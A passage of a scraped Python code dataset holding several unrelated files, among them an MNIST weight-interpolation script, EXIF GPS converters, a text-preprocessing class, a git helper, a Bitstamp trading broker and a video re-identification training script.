multiply_weights(state_dict, val):\n new_state_dict = deepcopy(state_dict)\n for key in new_state_dict.keys(): new_state_dict[key] *= val\n return new_state_dict\n\ndef sum_weights(list_of_state_dicts):\n for i in range(1, len(list_of_state_dicts)):\n for key in list_of_state_dicts[0].keys():\n list_of_state_dicts[0][key] += list_of_state_dicts[i][key]\n return list_of_state_dicts[0]\n\ntest_loader = torch.utils.data.DataLoader(\n datasets.MNIST('../data', train=True, transform=transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.1307,), (0.3081,))\n ])),\n batch_size=100, shuffle=True)\n\ndef test(model, test_loader):\n model.eval()\n test_loss = 0\n correct = 0\n with torch.no_grad():\n for data, target in test_loader:\n data, target = data.cuda(), target.cuda().long()\n output = model(data)\n test_loss += F.nll_loss(output, target, reduction='sum').item()\n pred = output.max(1, keepdim=True)[1]\n correct += pred.eq(target.view_as(pred)).sum().item()\n\n test_loss /= len(test_loader.dataset)\n return test_loss\n\nZ_ = []\nfor i in trange(X.shape[0]):\n Z_ += [[]]\n for j in trange(Y.shape[0]):\n convex_hull_weights = sum_weights([multiply_weights(weight_dict_1, X[i,j]),\n multiply_weights(weight_dict_2, Y[i,j]),\n multiply_weights(weight_dict_3, Z[i,j])\n ])\n\n net = MLP().cuda()\n net.load_state_dict(convex_hull_weights)\n Z_[i].append(test(net, test_loader))\n\nnp.save('./plots/X_mnist', X)\nnp.save('./plots/Y_mnist', Y)\nnp.save('./plots/Z_mnist', Z_)\n","sub_path":"make_points_mnist.py","file_name":"make_points_mnist.py","file_ext":"py","file_size_in_byte":2502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"530846695","text":"from os import remove, rename\n\n\nclass File:\n def __init__(self, name):\n self._name = name\n\n f = open(name, 'w')\n f.close()\n\n self._entries = []\n\n def write(self, n, s):\n n = n if isinstance(n, str) else str(n)\n if n in self._entries:\n print('Already exist\\'s')\n return\n\n self._entries.append(n)\n with open(self._name, 'a') as f:\n f.write(n + ' ' + s + '\\n')\n\n def read(self, n):\n n = n if isinstance(n, str) else str(n)\n\n if n not in self._entries:\n print('%s doesn\\'nt exist' % n)\n return\n\n res = ''\n with open(self._name, 'r') as f:\n for line in f:\n if line.startswith(n):\n res = line\n return res.split()[1]\n\n def delete(self, n):\n n = n if isinstance(n, str) else str(n)\n\n if n not in self._entries:\n print('Nothing to delete')\n return\n\n f2 = open('.temp', 'w')\n with open(self._name, 'r') as f:\n for line in f:\n if n in line:\n continue\n f2.write(line)\n os.remove(self._name)\n os.rename('.temp', self._name)\n\n def __del__(self):\n print('Deleting file')\n remove(self._name)\n","sub_path":"asd.py","file_name":"asd.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"646076803","text":"''' Open the file romeo.txt and read it line by line. For each line, split the line into a list of words using the split() method. \nThe program should build a list of words. For each word on each line check to see if the word is already in the list and if not append it to the list.\nWhen the program completes, sort and print the resulting words in alphabetical order. '''\n\n\n#CODE:\nfname = input(\"Enter file name:\") \nfh = open(fname) \nIst=list() \nfor line in fh: \n words=line.split() \n for word in words: \n Ist.append(word) \n s=set(Ist) \n Ist=list(s) \n Ist.sort() \nprint(Ist) \n\n\n#input:romeo.txt\n\n'''OUTPUT:\n['Arise', 'But', 'It', 'Juliet', 'Who', 'already', 'and', 'breaks', 'east','envious', 'fair', 'grief', 'is', 'kill', 'light', 'moon', 'pale','sick', \n'soft', 'sun', 'the', 'through', 'what', 'window', 'with', 'yonder'] '''\n\n\n\n\n","sub_path":"python data structures/assignment 4.1/program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"621448071","text":"#!/usr/local/bin/python3\n# -*- coding: utf-8 -*-\n\n# exifの度分秒をfloatに変換\ndef arcTupleToFloat(arcTuple):\n return arcTuple[0][0] / arcTuple[0][1] + (arcTuple[1][0] / arcTuple[1][1]) / 60 + (arcTuple[2][0] / arcTuple[2][1]) / 3600\n\n# floatから度分秒に変換\ndef floatToArcTuple(lat):\n deg = math.floor(lat)\n lat -= deg\n lat *= 60\n min = math.floor(lat)\n lat -= min\n lat *= 60 * 100\n sec = round(lat)\n return ((deg, 1), (min, 1), (sec, 100))\n\n# exifの緯度経度をfloatの緯度経度に変換\ndef gpsTuplesToFloat(gpsinfo):\n print(gpsinfo)\n print(type(gpsinfo[1]))\n if type(gpsinfo[1]) == bytes:\n gpsinfo[1] = gpsinfo[1].decode('utf-8')\n if type(gpsinfo[3]) == bytes:\n gpsinfo[3] = gpsinfo[3].decode('utf-8')\n\n ns = 1 if u'N' == gpsinfo[1] else -1\n ew = 1 if u'E' == gpsinfo[3] else -1\n\n return (ns * arcTupleToFloat(gpsinfo[2]), ew * arcTupleToFloat(gpsinfo[4]))\n\n# floatの緯度経度からexifの緯度経度に変換\ndef floatLatLngToGpsTuple(latlng):\n (lat, lng) = latlng\n\n nsSign = b'N'\n if lat < 0:\n nsSign = b'S'\n lat = -lat\n\n ewSign = b'E'\n if lng < 0:\n ewSign = b'W'\n lng = -lng\n\n return {1: nsSign, 2:floatToArcTuple(lat), 3:ewSign, 4:floatToArcTuple(lng), 18: b'WGS-84'}\n","sub_path":"exif_utils.py","file_name":"exif_utils.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"475076412","text":"\nimport pandas as pd\n#import nltk\nimport spacy\nfrom tqdm import tqdm\nimport re\nfrom utils.Utils import permanent_hash, append_to_git_root\nfrom utils.text_cleaner import TextCleaner\n\nimport os\n\n# saving/loading data\nimport pickle\n\nclass TrainingData:\n\n # @classmethod\n # def from_training_data(cls, data: TrainingData):\n # \"\"\"\n # Constructor using TrainingDtata.\n # \"\"\"\n # sentences = data.headlines['Clean Headline'].tolist() + data.sentences['Clean Sentence'].tolist()\n # return cls(sentences=sentences)\n\n saving_dir = append_to_git_root(what = \"training_data\", alternate_root=\".\")\n if not os.path.exists(saving_dir):\n print(\"Creating directory {} to save TrainingData instances\".format(saving_dir))\n os.mkdir(saving_dir)\n\n def file_name(self) -> str:\n d = os.path.join(\"training_data\",\"training_data_{}.pickle\".format(self.uid))\n return append_to_git_root(what = d, alternate_root=\".\")\n\n def load(self, verbose: bool = True) -> bool:\n file_name = self.file_name()\n try:\n if os.path.isfile(file_name):\n with open(file_name, 'rb') as f:\n pickle_data = pickle.load(f)\n self.stances = pickle_data['stances']\n self.headlines = pickle_data['headlines']\n self.bodies = pickle_data['bodies']\n self.sentences = pickle_data['sentences']\n del pickle_data # Free up memory\n if verbose:\n print(\"TrainingData :: loaded definitions from {}\".format(file_name))\n return True\n else:\n if verbose:\n print(\"TrainingData :: impossible to load from '{}', as file doesn't exist\".format(file_name))\n return False\n except Exception as e:\n if verbose:\n print(\"TrainingData :: impossible to load from {}: {}\".format(file_name, str(e)))\n return False\n\n\n def __init__(self, stances_file_name: str, bodies_file_name: str, \n replacements: dict, nlp=None, pos_to_remove: list=[],\n lemmatize=False, stem=False):\n \"\"\"\n \n Args:\n stances_file_name: \n bodies_file_name: \n replacements: \n nlp: \n pos_to_remove: \n lemmatize: \n stem: \n \"\"\"\n\n if nlp is None:\n self.nlp = spacy.load('en')\n else:\n self.nlp = nlp\n\n #\n self.replacements = replacements\n self.pos_to_remove = pos_to_remove\n self.cleaner = TextCleaner(self.replacements, self.nlp, self.pos_to_remove, \n lemmatize=lemmatize, stem=stem)\n\n\n\n self.uid = permanent_hash(stances_file_name + bodies_file_name) + self.cleaner.uid\n # do I have this data already processed somewhere?\n if not self.load(verbose=False):\n #\n # We load the datasets from the fake news challenge into pandas data frames.\n # The article bodies are split into their component sentences. The article bodies\n # datatest thus processed is merged with the headlines and stances dataset.\n self.stances = pd.read_csv(stances_file_name)\n\n # Assign IDs to all headlines even if they're duplicated (almost like row numbering)\n self.stances['Headline ID'] = range(self.stances.shape[0])\n\n # Assign UIDs to headlines\n u_headlines = list(self.stances['Headline'].unique())\n headline_to_uid = {h: i for i, h in enumerate(u_headlines)}\n self.stances['Headline UID'] = self.stances['Headline'].map(lambda x: headline_to_uid[x])\n\n # Create unique headlines dataframe\n self.headlines = self.stances[['Headline', 'Headline UID']].drop_duplicates()\n self.headlines['HTag'] = 'head_' + self.headlines['Headline UID'].astype(str)\n\n # Read article bodies data\n self.bodies = pd.read_csv(bodies_file_name)\n\n # Tokenize article bodies into sentences\n # And clean the sentences here\n print(\"TrainingData :: clean data\")\n sentences = []\n sentence_ids = []\n body_ids = []\n for row in tqdm(self.bodies.iterrows()):\n bid = row[1]['Body ID']\n text = row[1]['articleBody']\n doc = self.nlp(text)\n lines = [str(s) for s in doc.sents]\n sentences += lines\n sentence_ids += range(len(lines))\n body_ids += [bid] * len(lines)\n\n # Create sentences DataFrame\n print(\"TrainingData :: creating and cleaning sentences\")\n self.sentences = pd.DataFrame({'Sentence': sentences, 'Sentence ID': sentence_ids, 'Body ID': body_ids})\n self.sentences['STag'] = 'body_' + self.sentences['Body ID'].astype(str) + '_sent_' + self.sentences['Sentence ID'].astype(str)\n self.sentences['Clean Sentence'] = [self.cleaner.clean_text(s) \n for s in tqdm(self.sentences['Sentence'], total=self.sentences.shape[0])]\n \n # Create column of clean headlines in headlines\n print(\"TrainingData :: cleaning headlines\")\n self.headlines['Clean Headline'] = [self.cleaner.clean_text(s) \n for s in tqdm(self.headlines['Headline'], total=self.headlines.shape[0])]\n\n print(\"TrainingData initialized\")\n self.save()\n \n def save(self):\n \"\"\"\n Raises Exception on failure.\n Returns:\n\n \"\"\"\n file_name = self.file_name()\n print(\"TrainingData :: Saving data to pickle file '{}'...\".format(file_name))\n try:\n with open(file_name, 'wb') as pfile:\n pickle.dump(\n {\n 'stances': self.stances,\n 'headlines': self.headlines,\n 'bodies': self.bodies,\n 'sentences': self.sentences,\n },\n pfile, pickle.HIGHEST_PROTOCOL)\n except Exception as e:\n print('TrainingData :: Unable to save data:', e)\n raise\n\n print('TrainingData :: Data cached in pickle file.')\n","sub_path":"utils/doc2vec/training_data.py","file_name":"training_data.py","file_ext":"py","file_size_in_byte":6338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"569264867","text":"import os\nimport sys\n\nfrom academic_helper.utils.logger import log\n\nbranches = [\"asaf\", \"kirsh\", \" evyatar\", \"avihai\", \"shani\"]\n\n\ndef execute(cmd: str):\n log.info(cmd)\n os.system(cmd)\n\n\ndef clear_cache():\n execute(f\"rm -f .git/FETCH_HEAD\")\n\n\ndef for_branch(*commands: str):\n for branch in branches:\n clear_cache()\n execute(f\"git checkout {branch}\")\n clear_cache()\n for cmd in commands:\n cmd = cmd.replace(\"\", branch)\n execute(cmd)\n\n\ndef pull():\n for_branch(\"git pull\")\n\n\ndef push():\n for_branch(\"git push\")\n\n\ndef rebase(to: str):\n execute(f\"git checkout {to}\")\n execute(f\"git push\")\n pull()\n for_branch(f\"git rebase {to}\", \"git push\")\n\n\nif __name__ == \"__main__\":\n command = sys.argv[1]\n if command == \"pull\":\n pull()\n elif command == \"push\":\n push()\n elif command == \"rebase\":\n rebase(\"master\")\n execute(\"git checkout master\")\n","sub_path":"scripts/gits.py","file_name":"gits.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"382126085","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: C:\\Users\\SH\\AppData\\Local\\Temp\\pip-install-1sehz1ij\\PyAlgoTrade\\pyalgotrade\\bitstamp\\livebroker.py\n# Compiled at: 2018-10-21 21:07:45\n# Size of source mod 2**32: 12032 bytes\n\"\"\"\n.. moduleauthor:: Gabriel Martin Becedillas Ruiz \n\"\"\"\nimport threading, time\nfrom six.moves import queue\nfrom pyalgotrade import broker\nfrom pyalgotrade.bitstamp import httpclient\nfrom pyalgotrade.bitstamp import common\n\ndef build_order_from_open_order(openOrder, instrumentTraits):\n if openOrder.isBuy():\n action = broker.Order.Action.BUY\n else:\n if openOrder.isSell():\n action = broker.Order.Action.SELL\n else:\n raise Exception('Invalid order type')\n ret = broker.LimitOrder(action, common.btc_symbol, openOrder.getPrice(), openOrder.getAmount(), instrumentTraits)\n ret.setSubmitted(openOrder.getId(), openOrder.getDateTime())\n ret.setState(broker.Order.State.ACCEPTED)\n return ret\n\n\nclass TradeMonitor(threading.Thread):\n POLL_FREQUENCY = 2\n ON_USER_TRADE = 1\n\n def __init__(self, httpClient):\n super(TradeMonitor, self).__init__()\n self._TradeMonitor__lastTradeId = -1\n self._TradeMonitor__httpClient = httpClient\n self._TradeMonitor__queue = queue.Queue()\n self._TradeMonitor__stop = False\n\n def _getNewTrades(self):\n userTrades = self._TradeMonitor__httpClient.getUserTransactions(httpclient.HTTPClient.UserTransactionType.MARKET_TRADE)\n ret = [t for t in userTrades if t.getId() > self._TradeMonitor__lastTradeId]\n return sorted(ret, key=(lambda t: t.getId()))\n\n def getQueue(self):\n return self._TradeMonitor__queue\n\n def start(self):\n trades = self._getNewTrades()\n if len(trades):\n self._TradeMonitor__lastTradeId = trades[(-1)].getId()\n common.logger.info('Last trade found: %d' % self._TradeMonitor__lastTradeId)\n super(TradeMonitor, self).start()\n\n def run(self):\n while not self._TradeMonitor__stop:\n try:\n trades = self._getNewTrades()\n if len(trades):\n self._TradeMonitor__lastTradeId = trades[(-1)].getId()\n common.logger.info('%d new trade/s found' % len(trades))\n self._TradeMonitor__queue.put((TradeMonitor.ON_USER_TRADE, trades))\n except Exception as e:\n try:\n common.logger.critical('Error retrieving user transactions', exc_info=e)\n finally:\n e = None\n del e\n\n time.sleep(TradeMonitor.POLL_FREQUENCY)\n\n def stop(self):\n self._TradeMonitor__stop = True\n\n\nclass LiveBroker(broker.Broker):\n __doc__ = 'A Bitstamp live broker.\\n\\n :param clientId: Client id.\\n :type clientId: string.\\n :param key: API key.\\n :type key: string.\\n :param secret: API secret.\\n :type secret: string.\\n\\n\\n .. note::\\n * Only limit orders are supported.\\n * Orders are automatically set as **goodTillCanceled=True** and **allOrNone=False**.\\n * BUY_TO_COVER orders are mapped to BUY orders.\\n * SELL_SHORT orders are mapped to SELL orders.\\n * API access permissions should include:\\n\\n * Account balance\\n * Open orders\\n * Buy limit order\\n * User transactions\\n * Cancel order\\n * Sell limit order\\n '\n QUEUE_TIMEOUT = 0.01\n\n def __init__(self, clientId, key, secret):\n super(LiveBroker, self).__init__()\n self._LiveBroker__stop = False\n self._LiveBroker__httpClient = self.buildHTTPClient(clientId, key, secret)\n self._LiveBroker__tradeMonitor = TradeMonitor(self._LiveBroker__httpClient)\n self._LiveBroker__cash = 0\n self._LiveBroker__shares = {}\n self._LiveBroker__activeOrders = {}\n\n def _registerOrder(self, order):\n assert order.getId() not in self._LiveBroker__activeOrders\n assert order.getId() is not None\n self._LiveBroker__activeOrders[order.getId()] = order\n\n def _unregisterOrder(self, order):\n assert order.getId() in self._LiveBroker__activeOrders\n assert order.getId() is not None\n del self._LiveBroker__activeOrders[order.getId()]\n\n def buildHTTPClient(self, clientId, key, secret):\n return httpclient.HTTPClient(clientId, key, secret)\n\n def refreshAccountBalance(self):\n \"\"\"Refreshes cash and BTC balance.\"\"\"\n self._LiveBroker__stop = True\n common.logger.info('Retrieving account balance.')\n balance = self._LiveBroker__httpClient.getAccountBalance()\n self._LiveBroker__cash = round(balance.getUSDAvailable(), 2)\n common.logger.info('%s USD' % self._LiveBroker__cash)\n btc = balance.getBTCAvailable()\n if btc:\n self._LiveBroker__shares = {common.btc_symbol: btc}\n else:\n self._LiveBroker__shares = {}\n common.logger.info('%s BTC' % btc)\n self._LiveBroker__stop = False\n\n def refreshOpenOrders(self):\n self._LiveBroker__stop = True\n common.logger.info('Retrieving open orders.')\n openOrders = self._LiveBroker__httpClient.getOpenOrders()\n for openOrder in openOrders:\n self._registerOrder(build_order_from_open_order(openOrder, self.getInstrumentTraits(common.btc_symbol)))\n\n common.logger.info('%d open order/s found' % len(openOrders))\n self._LiveBroker__stop = False\n\n def _startTradeMonitor(self):\n self._LiveBroker__stop = True\n common.logger.info('Initializing trade monitor.')\n self._LiveBroker__tradeMonitor.start()\n self._LiveBroker__stop = False\n\n def _onUserTrades(self, trades):\n for trade in trades:\n order = self._LiveBroker__activeOrders.get(trade.getOrderId())\n if order is not None:\n fee = trade.getFee()\n fillPrice = trade.getBTCUSD()\n btcAmount = trade.getBTC()\n dateTime = trade.getDateTime()\n self.refreshAccountBalance()\n orderExecutionInfo = broker.OrderExecutionInfo(fillPrice, abs(btcAmount), fee, dateTime)\n order.addExecutionInfo(orderExecutionInfo)\n if not order.isActive():\n self._unregisterOrder(order)\n elif order.isFilled():\n eventType = broker.OrderEvent.Type.FILLED\n else:\n eventType = broker.OrderEvent.Type.PARTIALLY_FILLED\n self.notifyOrderEvent(broker.OrderEvent(order, eventType, orderExecutionInfo))\n else:\n common.logger.info('Trade %d refered to order %d that is not active' % (trade.getId(), trade.getOrderId()))\n\n def start(self):\n super(LiveBroker, self).start()\n self.refreshAccountBalance()\n self.refreshOpenOrders()\n self._startTradeMonitor()\n\n def stop(self):\n self._LiveBroker__stop = True\n common.logger.info('Shutting down trade monitor.')\n self._LiveBroker__tradeMonitor.stop()\n\n def join(self):\n if self._LiveBroker__tradeMonitor.isAlive():\n self._LiveBroker__tradeMonitor.join()\n\n def eof(self):\n return self._LiveBroker__stop\n\n def dispatch(self):\n ordersToProcess = list(self._LiveBroker__activeOrders.values())\n for order in ordersToProcess:\n if order.isSubmitted():\n order.switchState(broker.Order.State.ACCEPTED)\n self.notifyOrderEvent(broker.OrderEvent(order, broker.OrderEvent.Type.ACCEPTED, None))\n\n try:\n eventType, eventData = self._LiveBroker__tradeMonitor.getQueue().get(True, LiveBroker.QUEUE_TIMEOUT)\n if eventType == TradeMonitor.ON_USER_TRADE:\n self._onUserTrades(eventData)\n else:\n common.logger.error('Invalid event received to dispatch: %s - %s' % (eventType, eventData))\n except queue.Empty:\n pass\n\n def peekDateTime(self):\n pass\n\n def getCash(self, includeShort=True):\n return self._LiveBroker__cash\n\n def getInstrumentTraits(self, instrument):\n return common.BTCTraits()\n\n def getShares(self, instrument):\n return self._LiveBroker__shares.get(instrument, 0)\n\n def getPositions(self):\n return self._LiveBroker__shares\n\n def getActiveOrders(self, instrument=None):\n return list(self._LiveBroker__activeOrders.values())\n\n def submitOrder(self, order):\n if order.isInitial():\n order.setAllOrNone(False)\n order.setGoodTillCanceled(True)\n if order.isBuy():\n bitstampOrder = self._LiveBroker__httpClient.buyLimit(order.getLimitPrice(), order.getQuantity())\n else:\n bitstampOrder = self._LiveBroker__httpClient.sellLimit(order.getLimitPrice(), order.getQuantity())\n order.setSubmitted(bitstampOrder.getId(), bitstampOrder.getDateTime())\n self._registerOrder(order)\n order.switchState(broker.Order.State.SUBMITTED)\n else:\n raise Exception('The order was already processed')\n\n def createMarketOrder(self, action, instrument, quantity, onClose=False):\n raise Exception('Market orders are not supported')\n\n def createLimitOrder(self, action, instrument, limitPrice, quantity):\n if instrument != common.btc_symbol:\n raise Exception('Only BTC instrument is supported')\n elif action == broker.Order.Action.BUY_TO_COVER:\n action = broker.Order.Action.BUY\n else:\n if action == broker.Order.Action.SELL_SHORT:\n action = broker.Order.Action.SELL\n if action not in [broker.Order.Action.BUY, broker.Order.Action.SELL]:\n raise Exception('Only BUY/SELL orders are supported')\n instrumentTraits = self.getInstrumentTraits(instrument)\n limitPrice = round(limitPrice, 2)\n quantity = instrumentTraits.roundQuantity(quantity)\n return broker.LimitOrder(action, instrument, limitPrice, quantity, instrumentTraits)\n\n def createStopOrder(self, action, instrument, stopPrice, quantity):\n raise Exception('Stop orders are not supported')\n\n def createStopLimitOrder(self, action, instrument, stopPrice, limitPrice, quantity):\n raise Exception('Stop limit orders are not supported')\n\n def cancelOrder(self, order):\n activeOrder = self._LiveBroker__activeOrders.get(order.getId())\n if activeOrder is None:\n raise Exception('The order is not active anymore')\n if activeOrder.isFilled():\n raise Exception(\"Can't cancel order that has already been filled\")\n self._LiveBroker__httpClient.cancelOrder(order.getId())\n self._unregisterOrder(order)\n order.switchState(broker.Order.State.CANCELED)\n self.refreshAccountBalance()\n self.notifyOrderEvent(broker.OrderEvent(order, broker.OrderEvent.Type.CANCELED, 'User requested cancellation'))","sub_path":"pycfiles/quantlwsdk-0.0.11-py3-none-any/livebroker.cpython-37.py","file_name":"livebroker.cpython-37.py","file_ext":"py","file_size_in_byte":11224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"216106902","text":"from datetime import datetime\nfrom flask import current_app\nfrom sqlalchemy.exc import SQLAlchemyError\n\nfrom app.extensions import db\nfrom .include.user_info import User\n\n\nclass Base(db.Model):\n __abstract__ = True\n\n def save(self, commit=True):\n db.session.add(self)\n if commit:\n try:\n db.session.commit()\n except SQLAlchemyError as e:\n db.session.rollback()\n raise e\n\n\nclass AuditMixin(object):\n create_user = db.Column(db.String(60), nullable=False, default=User().get_user_username)\n create_timestamp = db.Column(db.DateTime, nullable=False, default=datetime.utcnow)\n update_user = db.Column(db.String(60),\n nullable=False,\n default=User().get_user_username,\n onupdate=User().get_user_username)\n update_timestamp = db.Column(db.DateTime,\n nullable=False,\n default=datetime.utcnow,\n onupdate=datetime.utcnow)\n","sub_path":"services/document-manager/backend/app/utils/models_mixins.py","file_name":"models_mixins.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"520700605","text":"from __future__ import print_function, absolute_import\nimport os\nimport sys\nimport time\nimport datetime\nimport argparse\nimport os.path as osp\nimport numpy as np\nnp.random.seed(1)\nimport torch\nimport torch.nn as nn\nimport torch.backends.cudnn as cudnn\nfrom torch.utils.data import DataLoader\nfrom torch.autograd import Variable\nfrom torch.optim import lr_scheduler\n\nfrom utils.lr_schedulers import WarmupMultiStepLR\nfrom utils.video_loader import VideoDataset\nimport utils.transforms as T\nimport models\nfrom models.losses import CrossEntropyLabelSmooth, TripletLoss, RegularLoss\nfrom utils.utils import AverageMeter, Logger, save_checkpoint\nfrom utils.eval_metrics import evaluate\nfrom utils.samplers import RandomIdentitySampler\n\nfrom data import data_manager\n\ndef main(args=None):\n torch.manual_seed(args.seed)\n os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu_devices\n # torch.cuda.set_device(0)\n use_gpu = torch.cuda.is_available()\n\n if args.use_cpu:use_gpu = False\n\n if not args.evaluate:\n sys.stdout = Logger(osp.join(args.save_dir, args.log_train))\n else:\n sys.stdout = Logger(osp.join(args.save_dir, args.log_test))\n print(\"==========\\nArgs:{}\\n==========\".format(args))\n\n if use_gpu:\n print(\"Currently using GPU {}\".format(args.gpu_devices))\n cudnn.benchmark = True\n torch.cuda.manual_seed_all(args.seed)\n else:\n print(\"Currently using CPU (GPU is highly recommended)\")\n\n print(\"Initializing dataset {}\".format(args.dataset))\n dataset = data_manager.init_dataset(name=args.dataset)\n\n transform_train = T.Compose([\n T.ToTensor(),\n T.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n T.RandomErasing(),\n ])\n\n transform_train2 = T.Compose([\n T.Resize((args.height, args.width)),\n T.Random2DTranslation(args.height, args.width),\n ])\n\n transform_test = T.Compose([\n T.Resize((args.height, args.width)),\n T.ToTensor(),\n T.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n ])\n\n pin_memory = False\n\n trainloader = DataLoader(\n VideoDataset(dataset.train, data_name=args.dataset, seq_len=args.seq_len, sample='random', transform=transform_train, transform2=transform_train2, type = \"train\"),\n sampler=RandomIdentitySampler(dataset.train, num_instances=args.num_instances),\n batch_size=args.train_batch, num_workers=args.workers,\n pin_memory=pin_memory, drop_last=True,\n )\n\n queryloader = DataLoader(\n VideoDataset(dataset.query, data_name=args.dataset, seq_len=args.seq_len, sample='dense', transform=transform_test, type=\"test\"),\n batch_size=args.test_batch, shuffle=False, num_workers=args.workers,\n pin_memory=pin_memory, drop_last=False,\n )\n\n galleryloader = DataLoader(\n VideoDataset(dataset.gallery, data_name=args.dataset, seq_len=args.seq_len, sample='dense', transform=transform_test, type=\"test\"),\n batch_size=args.test_batch, shuffle=False, num_workers=args.workers,\n pin_memory=pin_memory, drop_last=False,\n )\n\n print(\"Initializing models: {}\".format(args.arch))\n model = models.init_model(name=args.arch, num_classes=dataset.num_train_pids, final_dim = args.feat_dim)\n print(\"Model size: {:.5f}M\".format(sum(p.numel() for p in model.parameters())/1000000.0))\n\n crossEntropyLoss = CrossEntropyLabelSmooth(num_classes=dataset.num_train_pids, use_gpu=use_gpu)\n tripletLoss = TripletLoss(margin=args.margin)\n regularLoss = RegularLoss(use_gpu=use_gpu)\n\n optimizer = torch.optim.Adam(model.parameters(), lr=args.lr, weight_decay=args.weight_decay)\n scheduler = WarmupMultiStepLR(optimizer, args.stepsize, args.gamma, args.warmup_factor, args.warmup_items, args.warmup_method)\n start_epoch = args.start_epoch\n\n if use_gpu:\n model = nn.DataParallel(model).cuda()\n\n if args.evaluate:\n print(\"Evaluate only\")\n atest(model, queryloader, galleryloader, use_gpu)\n return\n\n start_time = time.time()\n best_rank1 = -np.inf\n for epoch in range(start_epoch, args.max_epoch):\n print(\"==> Epoch {}/{}\".format(epoch+1, args.max_epoch))\n\n train(model, crossEntropyLoss, tripletLoss, regularLoss, optimizer, trainloader, use_gpu)\n\n # if args.stepsize > 0:\n scheduler.step()\n\n if (epoch+1) >= 200 and (epoch+1) % args.eval_step == 0:\n print(\"==> Test\")\n rank1 = atest(model, queryloader, galleryloader, use_gpu)\n is_best = rank1 > best_rank1\n if is_best: best_rank1 = rank1\n\n if use_gpu:\n state_dict = model.module.state_dict()\n else:\n state_dict = model.state_dict()\n save_checkpoint({\n 'state_dict': state_dict,\n }, is_best, osp.join(args.save_dir, args.model_name + str(epoch+1) + '.pth.tar'))\n\n elapsed = round(time.time() - start_time)\n elapsed = str(datetime.timedelta(seconds=elapsed))\n print(\"Finished. Total elapsed time (h:m:s): {}\".format(elapsed))\n\ndef train(model, crossEntropyLoss, tripletLoss, regularLoss, optimizer, trainloader, use_gpu):\n model.train()\n losses = AverageMeter()\n print('batch number:' + str(len(trainloader)))\n for batch_idx, (imgs, pids, _, head_map, body_map, leg_map) in enumerate(trainloader):\n # print(img_align)\n if use_gpu:\n imgs, pids = imgs.cuda(), pids.cuda()\n imgs, pids = Variable(imgs), Variable(pids)\n global_label, global_f, region1_label, region1_f, region2_label, region2_f, region3_label, region3_f, \\\n align_output1, align_output2, align_output3, align_output4, align_output5, align_output6\\\n = model(imgs, head_map, body_map, leg_map)\n loss = calculate_loss(global_label, global_f, region1_label, region1_f, region2_label, region2_f, region3_label, region3_f,\\\n align_output1, align_output2, align_output3, align_output4, align_output5, align_output6,\\\n crossEntropyLoss, tripletLoss, regularLoss, pids)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n losses.update(loss.item(), pids.size(0))\n\n if (batch_idx+1) % args.print_freq == 0:\n print(\"Batch {}/{}\\t Loss1 {:.6f} ({:.6f})\".format(batch_idx+1, len(trainloader), losses.val, losses.avg))\n\ndef calculate_loss(global_label, global_f, region1_label, region1_f, region2_label, region2_f, region3_label, region3_f,\\\n align_output1, align_output2, align_output3, align_output4, align_output5, align_output6,\\\n crossEntropyLoss, tripletLoss, regularLoss, pids):\n # global branch\n global_cross_loss = crossEntropyLoss(global_label, pids)\n global_trip_loss, _, _ = tripletLoss(global_f, pids)\n global_loss = global_cross_loss + global_trip_loss\n # align branch\n region1_cross_loss = crossEntropyLoss(region1_label, pids)\n region1_trip_loss, _, _ = tripletLoss(region1_f, pids)\n region2_cross_loss = crossEntropyLoss(region2_label, pids)\n region2_trip_loss, _, _ = tripletLoss(region2_f, pids)\n region3_cross_loss = crossEntropyLoss(region3_label, pids)\n region3_trip_loss, _, _ = tripletLoss(region3_f, pids)\n region_loss = region1_cross_loss + region1_trip_loss + region2_cross_loss + region2_trip_loss + region3_cross_loss + region3_trip_loss\n # consistency Regularization\n regular_loss1 = regularLoss(align_output1)\n regular_loss2 = regularLoss(align_output2)\n regular_loss3 = regularLoss(align_output3)\n regular_loss4 = regularLoss(align_output4)\n regular_loss5 = regularLoss(align_output5)\n regular_loss6 = regularLoss(align_output6)\n regular_loss = regular_loss1 + regular_loss2 + regular_loss3 + regular_loss4 + regular_loss5 + regular_loss6\n # print(\"global loss: \" + str(global_loss.item()) + \"; part loss: \" + str(part_loss.item()) + \"; region loss: \" + str(region_loss.item()) + \"; regular loss: \" + str(regular_loss.item()))\n loss = args.a1 * global_loss + args.a2 * region_loss + args.a3 * regular_loss\n return loss\n\ndef atest(model, queryloader, galleryloader, use_gpu, ranks=[1, 5, 10, 20]):\n with torch.no_grad():\n model.eval()\n qf, q_pids, q_camids = [], [], []\n for batch_idx, (imgs, pids, camids, head_map, body_map, leg_map) in enumerate(queryloader):\n if batch_idx % 100 == 0:\n print(\"current query:\" + str(batch_idx))\n if use_gpu:\n imgs = imgs.cuda()\n b, n, s, c, h, w = imgs.size()\n assert(b==1)\n imgs = imgs.view(b*n, s, c, h, w)\n features = model(imgs, head_map, body_map, leg_map)\n features = features.view(n, -1)\n features = torch.mean(features, 0)\n features = features.data.cpu()\n qf.append(features)\n q_pids.extend(pids)\n q_camids.extend(camids)\n\n qf 